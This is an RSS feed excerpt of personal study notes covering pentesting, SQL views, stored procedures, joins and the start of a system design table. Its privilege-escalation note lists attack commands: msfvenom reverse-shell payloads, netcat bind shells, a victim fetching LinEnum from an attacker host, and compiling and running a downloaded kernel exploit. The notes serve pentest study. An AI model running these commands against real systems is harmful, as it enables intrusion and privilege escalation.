</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">evil-winrm -i &lt;target-windows-ip-addr&gt; -u <span class="s1">&#39;admin&#39;</span> -p <span class="s1">&#39;pass&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># PowerShell</span>
</span></span><span class="line"><span class="cl">Get-ChildItem -Include *.txt -File -Recurse -ErrorAction SilentlyContinue
</span></span><span class="line"><span class="cl"><span class="c1"># Windows Prompt</span>
</span></span><span class="line"><span class="cl">dir secret.doc /s /p
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Display content of file</span>
</span></span><span class="line"><span class="cl"><span class="nb">type</span> &lt;path&gt;
</span></span></code></pre></div><h2 id="remediation">Remediation</h2>
<ul>
<li>Account Lockout.</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Privilege Escalation Tools and Techniques</title>
      <link>https://sagarchamling.com/notes/privilege-escalation-tool-and-techniques/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://sagarchamling.com/notes/privilege-escalation-tool-and-techniques/</guid>
      <description>Understand Privilege Escalation and use of tools</description>
      <content:encoded><![CDATA[<h2 id="reverse-shell">Reverse Shell</h2>
<p>Take advantage of the target system&rsquo;s vulnerabilities to initiate a shell session. Here, listener is attacker.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># Windows Server</span>
</span></span><span class="line"><span class="cl">msfvenom -p windows/shell_reverse_tcp <span class="nv">LHOST</span><span class="o">=</span>&lt;listener-ip-addr&gt; <span class="nv">LPORT</span><span class="o">=</span>&lt;listener-port&gt; -f exe &gt; shell-x64.exe
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">nc -lvp &lt;listener-port&gt;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Now, after you download and run the app. We get the access to victim&#39;s shell.</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Java Server</span>
</span></span><span class="line"><span class="cl">msfvenom -p java/jsp_shell_reverse_tcp <span class="nv">lhost</span><span class="o">=</span>&lt;listener-ip-addr&gt; <span class="nv">lport</span><span class="o">=</span>&lt;listener-port&gt; -f war &gt; shell.war
</span></span></code></pre></div><h3 id="winpeas">WinPEAS</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="n">WinPEASx65</span><span class="p">.</span><span class="py">exe</span> <span class="n">systeminfo</span> <span class="n">log</span><span class="p">=</span><span class="n">systeminfo</span><span class="p">.</span><span class="py">txt</span> <span class="c"># Privilege Escalation</span>
</span></span></code></pre></div><h3 id="netcat">netcat</h3>
<h4 id="windows">Windows</h4>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="n">ncat</span><span class="p">.</span><span class="py">exe</span> <span class="n">-lp</span> <span class="mf">52000</span> <span class="c"># Start listening at port 52000</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">netstat</span> <span class="n">-an</span> <span class="p">|</span> <span class="n">more</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c"># If file doesn&#39;t exist it will be created else cleared and redirected.</span>
</span></span><span class="line"><span class="cl"><span class="n">ncat</span><span class="p">.</span><span class="py">exe</span> <span class="n">-lp</span> <span class="mf">55555</span> <span class="p">&gt;</span> <span class="n">alice</span><span class="p">.</span><span class="py">txt</span>
</span></span><span class="line"><span class="cl"><span class="c"># Append in a file instead.</span>
</span></span><span class="line"><span class="cl"><span class="n">ncat</span><span class="p">.</span><span class="py">exe</span> <span class="n">-lp</span> <span class="mf">55555</span> <span class="p">&gt;&gt;</span> <span class="n">alice</span><span class="p">.</span><span class="py">txt</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">ncat</span><span class="p">.</span><span class="py">exe</span> <span class="n">-lp</span> <span class="mf">10314</span> <span class="n">-e</span> <span class="n">cmd</span><span class="p">.</span><span class="py">exe</span> <span class="c"># -e is executable i.e. cmd.exe</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">ncat</span><span class="p">.</span><span class="py">exe</span> <span class="p">&lt;</span><span class="nb">target-linux</span><span class="n">-ip-addr</span><span class="p">&gt;</span> <span class="mf">14618</span> <span class="c"># Bash shell from Linux</span>
</span></span></code></pre></div><h4 id="linux">Linux</h4>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">nc &lt;target-windows-ip-addr&gt; <span class="m">52000</span> <span class="c1"># Linux</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Send content of the bob.txt file.</span>
</span></span><span class="line"><span class="cl">nc -w <span class="m">1</span> &lt;target-windows-ip-addr&gt; <span class="m">5555</span> &lt; bob.txt
</span></span><span class="line"><span class="cl"><span class="c1"># If the connection and stdin are idle for more than timeout seconds,</span>
</span></span><span class="line"><span class="cl"><span class="c1"># the connection is closed silently. Default is no timeout.</span>
</span></span><span class="line"><span class="cl"><span class="c1"># `nc` will listen forever for a connection, with or without the -w flag.</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">nc &lt;target-windows-ip-addr&gt; <span class="m">10314</span> <span class="c1"># Windows prompt from Linux</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">nc -lp <span class="m">14618</span> -e /bin/bash <span class="c1"># bash as executable.</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">nc -nlvp <span class="m">5555</span>
</span></span><span class="line"><span class="cl"><span class="c1"># -n: no DNS or service lookups on any addresses, hostnames or port names.</span>
</span></span><span class="line"><span class="cl"><span class="c1"># -l: listen for an incoming connection.</span>
</span></span><span class="line"><span class="cl"><span class="c1"># -v: give more verbose output.</span>
</span></span><span class="line"><span class="cl"><span class="c1"># -p: to specify the local port number.</span>
</span></span></code></pre></div><blockquote>
<p>Note: <code>&gt;</code> is output redirection character, <code>&lt;</code> is input redirection character.</p>
</blockquote>
<h2 id="exploit-dbcom">exploit-db.com</h2>
<p>Based on Linux kernal, VulnOS -&gt; <code>37292</code></p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">whoami
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">wget https://www.exploit-db.com/exploits/44298 -O exploit.c
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">gcc exploit.c -o exploit
</span></span><span class="line"><span class="cl">chmod <span class="m">777</span> exploit
</span></span><span class="line"><span class="cl">./exploit
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">whoami
</span></span></code></pre></div><h2 id="linenum">LinEnum</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># Attacker Server</span>
</span></span><span class="line"><span class="cl">wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O LinEnum <span class="c1"># or Copy RAW to to LinEnum file.</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">chmod +x LinEnum
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">python -m http.server <span class="m">8000</span> <span class="c1"># Serving http server to host a file to download.</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Victim Client</span>
</span></span><span class="line"><span class="cl">wget http://&lt;attacker-ip-addr&gt;:8000/LinEnum
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">./LinEnum
</span></span></code></pre></div><h2 id="gobuster---directory-traversal">Gobuster - Directory Traversal</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># -u assign target</span>
</span></span><span class="line"><span class="cl"><span class="c1"># -w word list</span>
</span></span><span class="line"><span class="cl"><span class="c1"># -x is list of extensions</span>
</span></span><span class="line"><span class="cl">gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u &lt;target-ip-addr&gt;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">gobuster dir -w /usr/share/wordlists/dirb/common.txt -x .php,.txt,.html -u &lt;target-ip-addr&gt;
</span></span></code></pre></div><h2 id="spawning-bash-shell">Spawning Bash Shell</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">python3 -c <span class="s1">&#39;import pty; pty.spawn(&#34;/bin/bash&#34;)&#39;</span> <span class="c1"># Pseudo-terminal utilities</span>
</span></span></code></pre></div><h2 id="root-login-on-nopasswd-sudoer">Root Login on NOPASSWD Sudoer</h2>
<blockquote>
<p><code>sudo -l</code>: This command is used to list the allowed (and forbidden) commands for the invoking user (or the user specified by the -U option) on the current host.</p>
</blockquote>
<blockquote>
<p><code>sudo -i</code>: This command, also known as sudo &ndash;login, starts a new shell as the target user (root by default), and changes to their home directory.</p>
</blockquote>
<h2 id="window-remote-management-winrm">Window Remote Management (WinRM)</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">evil-winrm -i &lt;target-windows-ip-addr&gt; -u <span class="s1">&#39;admin&#39;</span> -p <span class="s1">&#39;pass&#39;</span>
</span></span></code></pre></div><blockquote>
<p>Which metasploit module can be used in this case to abuse Windows Remote Management?
<strong>auxiliary/scanner/winrm/winrm_login</strong></p>
</blockquote>
<h2 id="reference">Reference</h2>
<ul>
<li><a href="https://github.com/ec-council-learning/Pentesting-Fundamentals-for-Beginners">https://github.com/ec-council-learning/Pentesting-Fundamentals-for-Beginners</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>SQL 201</title>
      <link>https://sagarchamling.com/notes/sql-201/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://sagarchamling.com/notes/sql-201/</guid>
      <description>SQL Joins, Views, Stored Procedures, and Transactions</description>
      <content:encoded><![CDATA[<h2 id="views">Views</h2>
<ul>
<li>is an alternative way of representing data that exists in one or more tables or views.</li>
<li>can include all or some of the columns from one or more base tables or existing views.</li>
<li>a view creates a named specification of a results table, which can be queried in the same way as a table.</li>
<li>can also change the data in the base table by running insert, update, and delete queries against the view.</li>
<li>the data that the view represents is stored in the base tables, not by the view itself.</li>
</ul>
<h3 id="uses">Uses</h3>
<ul>
<li>Show a selection of data for a given table, so you can omit sensitive data like tax information, birth dates, or salaries.</li>
<li>Combine two or more tables in meaningful ways.</li>
<li>Simplify access to data by granting access to a view without granting access to the underlying tables.</li>
<li>Show only the portions of data relevant to the process that uses the view.</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="cl"><span class="k">CREATE</span><span class="w"> </span><span class="k">VIEW</span><span class="w"> </span><span class="o">&lt;</span><span class="n">view_name</span><span class="o">&gt;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="p">(</span><span class="o">&lt;</span><span class="n">column_alias1</span><span class="o">&gt;</span><span class="p">,</span><span class="w"> </span><span class="o">&lt;</span><span class="n">column_alias2</span><span class="o">&gt;</span><span class="p">,</span><span class="w"> </span><span class="p">...</span><span class="o">&lt;</span><span class="n">column_aliasN</span><span class="o">&gt;</span><span class="p">)</span><span class="w"> </span><span class="k">AS</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="k">SELECT</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="o">&lt;</span><span class="n">column1</span><span class="o">&gt;</span><span class="p">,</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="o">&lt;</span><span class="n">column2</span><span class="o">&gt;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="p">...</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="o">&lt;</span><span class="n">columnN</span><span class="o">&gt;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="k">FROM</span><span class="w"> </span><span class="o">&lt;</span><span class="k">table_name</span><span class="o">&gt;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="k">WHERE</span><span class="w"> </span><span class="o">&lt;</span><span class="n">predicate</span><span class="o">&gt;</span><span class="p">;</span><span class="w">
</span></span></span></code></pre></div><ul>
<li>use the CREATE VIEW statement</li>
<li>assign a name (up to 128 characters in length) to the view</li>
<li>list the columns that you want to include, can use an alias to name the columns if you wish</li>
<li>use the <code>AS SELECT</code> clause to specify the columns in the view</li>
<li>the FROM clause to specify the base table name</li>
<li>can also add an optional WHERE clause to refine the rows in the view</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="cl"><span class="k">CREATE</span><span class="w"> </span><span class="k">VIEW</span><span class="w"> </span><span class="n">employee_info</span><span class="w"> </span><span class="p">(</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="n">employee_id</span><span class="p">,</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="n">first_name</span><span class="p">,</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="n">last_name</span><span class="p">,</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="n">address</span><span class="p">,</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="n">department_id</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="p">)</span><span class="w"> </span><span class="k">AS</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="k">SELECT</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="n">employee_id</span><span class="p">,</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="n">first_name</span><span class="p">,</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="n">last_name</span><span class="p">,</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="n">address</span><span class="p">,</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="n">department_id</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="k">FROM</span><span class="w"> </span><span class="n">employees</span><span class="p">;</span><span class="w">
</span></span></span></code></pre></div><ul>
<li>views are dynamic; they consist of the data that would be returned from the SELECT statement used to create them</li>
<li>the SELECT statement that you use to create the view can name other views and tables, and</li>
<li>it can use the WHERE, GROUP BY, and HAVING clauses.</li>
<li>it cannot use the ORDER BY clause or name a host variable.</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="cl"><span class="k">DROP</span><span class="w"> </span><span class="k">VIEW</span><span class="w"> </span><span class="n">employee_info</span><span class="p">;</span><span class="w">
</span></span></span></code></pre></div><h2 id="stored-procedures">Stored Procedures</h2>
<ul>
<li>a stored procedure is a set of SQL statements that are stored and executed on the database server.</li>
<li>Instead of sending multiple SQL statements from the client to server, you encapsulate them in a stored procedure on the server and send one statement from the client to execute them.
<ul>
<li>can write stored procedures in many different languages.
<ul>
<li>for Db2 on cloud and Db2, can write in SQL, PL, PL/SQL, Java, C, or other languages.</li>
</ul>
</li>
<li>can accept information as parameters, perform, create, read, update, and delete (CRUD) operations</li>
<li>return results to the client application</li>
</ul>
</li>
</ul>
<h3 id="benefits-of-stored-procedures">Benefits of stored procedures</h3>
<ul>
<li>reduction in network traffic because only one call is needed to execute multiple statements.</li>
<li>improvement in performance because the processing happens on the server where the data is stored with just the final result being passed back to the client.</li>
<li>reuse of code because multiple applications can use the same stored procedure for the same job.</li>
<li>increase in security because
<ul>
<li>you do not need to expose all of your table and column information to client-side developers</li>
<li>you can use server-side logic to validate data before accepting it into the system</li>
</ul>
</li>
</ul>
<blockquote>
<p>Note: that SQL is not a fully fledged programming language, so should not try to write all of your business logic in your stored procedures.</p>
</blockquote>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="cl"><span class="k">DELIMITER</span><span class="w"> </span><span class="err">$$</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="k">CREATE</span><span class="w"> </span><span class="k">PROCEDURE</span><span class="w"> </span><span class="n">update_salary</span><span class="w"> </span><span class="p">(</span><span class="k">IN</span><span class="w"> </span><span class="n">employee_id</span><span class="w"> </span><span class="nb">CHAR</span><span class="p">(</span><span class="mi">6</span><span class="p">),</span><span class="w"> </span><span class="k">IN</span><span class="w"> </span><span class="n">rating</span><span class="w"> </span><span class="nb">SMALLINT</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="k">BEGIN</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="k">UPDATE</span><span class="w"> </span><span class="n">employees</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="k">SET</span><span class="w"> </span><span class="n">salary</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">salary</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mi">1</span><span class="p">.</span><span class="mi">10</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="k">WHERE</span><span class="w"> </span><span class="n">employee_id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">employee_id</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="k">AND</span><span class="w"> </span><span class="n">rating</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="k">UPDATE</span><span class="w"> </span><span class="n">employees</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="k">SET</span><span class="w"> </span><span class="n">salary</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">salary</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mi">1</span><span class="p">.</span><span class="mi">05</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="k">WHERE</span><span class="w"> </span><span class="n">employee_id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">employee_id</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="k">AND</span><span class="w"> </span><span class="n">rating</span><span class="w"> </span><span class="o">&lt;&gt;</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="k">END</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="err">$$</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="k">DELIMITER</span><span class="w"> </span><span class="p">;</span><span class="w">
</span></span></span></code></pre></div><h3 id="example">Example</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="cl"><span class="k">DELIMITER</span><span class="w"> </span><span class="o">@</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="k">CREATE</span><span class="w"> </span><span class="k">PROCEDURE</span><span class="w"> </span><span class="n">UPDATE_SALEPRICE</span><span class="w"> </span><span class="p">(</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="k">IN</span><span class="w"> </span><span class="n">Animal_ID</span><span class="w"> </span><span class="nb">INTEGER</span><span class="p">,</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="k">IN</span><span class="w"> </span><span class="n">Animal_Health</span><span class="w"> </span><span class="nb">VARCHAR</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="k">BEGIN</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="k">IF</span><span class="w"> </span><span class="n">Animal_Health</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">&#39;BAD&#39;</span><span class="w"> </span><span class="k">THEN</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="k">UPDATE</span><span class="w"> </span><span class="n">PETSALE</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="k">SET</span><span class="w"> </span><span class="n">SALEPRICE</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">SALEPRICE</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="p">(</span><span class="n">SALEPRICE</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mi">0</span><span class="p">.</span><span class="mi">25</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="k">WHERE</span><span class="w"> </span><span class="n">ID</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Animal_ID</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="n">ELSEIF</span><span class="w"> </span><span class="n">Animal_Health</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">&#39;WORSE&#39;</span><span class="w"> </span><span class="k">THEN</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="k">UPDATE</span><span class="w"> </span><span class="n">PETSALE</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="k">SET</span><span class="w"> </span><span class="n">SALEPRICE</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">SALEPRICE</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="p">(</span><span class="n">SALEPRICE</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mi">0</span><span class="p">.</span><span class="mi">5</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="k">WHERE</span><span class="w"> </span><span class="n">ID</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Animal_ID</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="k">ELSE</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="k">UPDATE</span><span class="w"> </span><span class="n">PETSALE</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="k">SET</span><span class="w"> </span><span class="n">SALEPRICE</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">SALEPRICE</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="k">WHERE</span><span class="w"> </span><span class="n">ID</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Animal_ID</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="k">END</span><span class="w"> </span><span class="k">IF</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="k">END</span><span class="w"> </span><span class="o">@</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="k">DELIMITER</span><span class="w"> </span><span class="p">;</span><span class="w">
</span></span></span></code></pre></div><p>Can call stored procedures from</p>
<ul>
<li>external applications</li>
<li>dynamic SQL statements.</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="cl"><span class="k">CALL</span><span class="w"> </span><span class="n">update_salary</span><span class="w"> </span><span class="p">(</span><span class="s1">&#39;E201&#39;</span><span class="p">,</span><span class="w"> </span><span class="mi">1</span><span class="p">)</span><span class="w">
</span></span></span></code></pre></div><h2 id="transactions">Transactions</h2>
<ul>
<li>a transaction is an indivisible unit of work.</li>
<li>can consist of one or more SQL statements,</li>
<li>to be considered successful,
<ul>
<li>either all of those SQL statements must complete successfully, leaving the database in a new stable state</li>
<li>or none must complete, leaving the database as it was before the transaction began</li>
</ul>
</li>
<li>ACID stands for
<ul>
<li><strong>Atomic</strong> - All changes must be performed successfully or not at all.</li>
<li><strong>Consistent</strong> - Data must be in a consistent state before and after the transaction.</li>
<li><strong>Isolated</strong> - No other process can change the data while the transaction is running.</li>
<li><strong>Durable</strong> - The changes made by the transaction must persist.</li>
</ul>
</li>
</ul>
<h3 id="acid-commands">ACID Commands</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="cl"><span class="k">BEGIN</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="k">UPDATE</span><span class="w"> </span><span class="n">bank_accounts</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="k">SET</span><span class="w"> </span><span class="n">balance</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">balance</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mi">200</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="k">WHERE</span><span class="w"> </span><span class="n">account_name</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">&#39;Rose&#39;</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="k">UPDATE</span><span class="w"> </span><span class="n">shoe_shop</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="k">SET</span><span class="w"> </span><span class="n">stock</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">stock</span><span class="w"> </span><span class="o">-</span><span class="mi">1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="k">WHERE</span><span class="w"> </span><span class="n">product</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">&#39;Boot&#39;</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="k">COMMIT</span><span class="w">
</span></span></span></code></pre></div><h2 id="join">Join</h2>
<p>
  
  <input type="checkbox" id="zoomCheck-d47be" hidden />
  <label for="zoomCheck-d47be">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/join.webp"
      alt="Join"
       />
  </label>
</p>
<ul>
<li>combines the rows from two or more tables based on a relationship between certain columns in these tables.</li>
<li>Primary key: uniquely identifies each row in a table.</li>
<li>Foreign key: refers to primary key of another table.</li>
</ul>
<h3 id="inner-join">Inner Join</h3>
<ul>
<li>displays only the rows from two tables that have matching value in a common column</li>
<li>usually the primary key of one table that exists as a foreign key in the second table</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="cl"><span class="k">SELECT</span><span class="w"> </span><span class="n">e</span><span class="p">.</span><span class="n">id</span><span class="w"> </span><span class="k">AS</span><span class="w"> </span><span class="n">employee_id</span><span class="p">,</span><span class="w"> </span><span class="n">s</span><span class="p">.</span><span class="n">salary</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="k">FROM</span><span class="w"> </span><span class="n">employees</span><span class="w"> </span><span class="n">e</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="k">INNER</span><span class="w"> </span><span class="k">JOIN</span><span class="w"> </span><span class="n">salaries</span><span class="w"> </span><span class="n">s</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="k">ON</span><span class="w"> </span><span class="n">e</span><span class="p">.</span><span class="n">id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">s</span><span class="p">.</span><span class="n">employee_id</span><span class="w">
</span></span></span></code></pre></div><h3 id="outer-join">Outer Join</h3>
<ul>
<li>outer joins also return the rows that do not have a match between the tables</li>
</ul>
<h4 id="left-outer-join">Left Outer Join</h4>
<ul>
<li>all the rows from the first table (on the left side of the join predicate) are included, and only the matching rows from the second table (on the right side of the join predicate)</li>
</ul>
<h4 id="right-outer-join">Right Outer Join</h4>
<ul>
<li>all the rows from the right table and combines the information with rows from the left table that match the criteria specified in the query</li>
</ul>
<h4 id="full-outer-join">Full Outer Join</h4>
<ul>
<li>all matching rows from both tables and all the rows from both tables that don’t have a match.</li>
</ul>
<h3 id="cross-join">Cross Join</h3>
<ul>
<li>returns the Cartesian product of rows from the tables in the join</li>
</ul>
<p>
  
  <input type="checkbox" id="zoomCheck-67c7c" hidden />
  <label for="zoomCheck-67c7c">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/cross-join.webp#center"
      alt="alt text"
       />
  </label>
</p>
]]></content:encoded>
    </item>
    <item>
      <title>System Design 101</title>
      <link>https://sagarchamling.com/notes/system-design-101/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://sagarchamling.com/notes/system-design-101/</guid>
      <description>System Design 101</description>
      <content:encoded><![CDATA[<h2 id="system-design-solution">System Design Solution</h2>
<table>
<thead>
<tr>
<th>System</th>
<th>Design Solution</th>
</tr>
</thead>
<tbody>
<tr>
<td>For a Read-Heavy System</td>
<td>Consider using a Cache.</td>
</tr>
<tr>
<td>For a Write-Heavy System</td>
<td>Use Message Queues for async processing</td>
</tr>
<tr>
<td>For a Low Latency Requirement</td>
<td>Consider using a Cache and CDN.</td>
</tr>
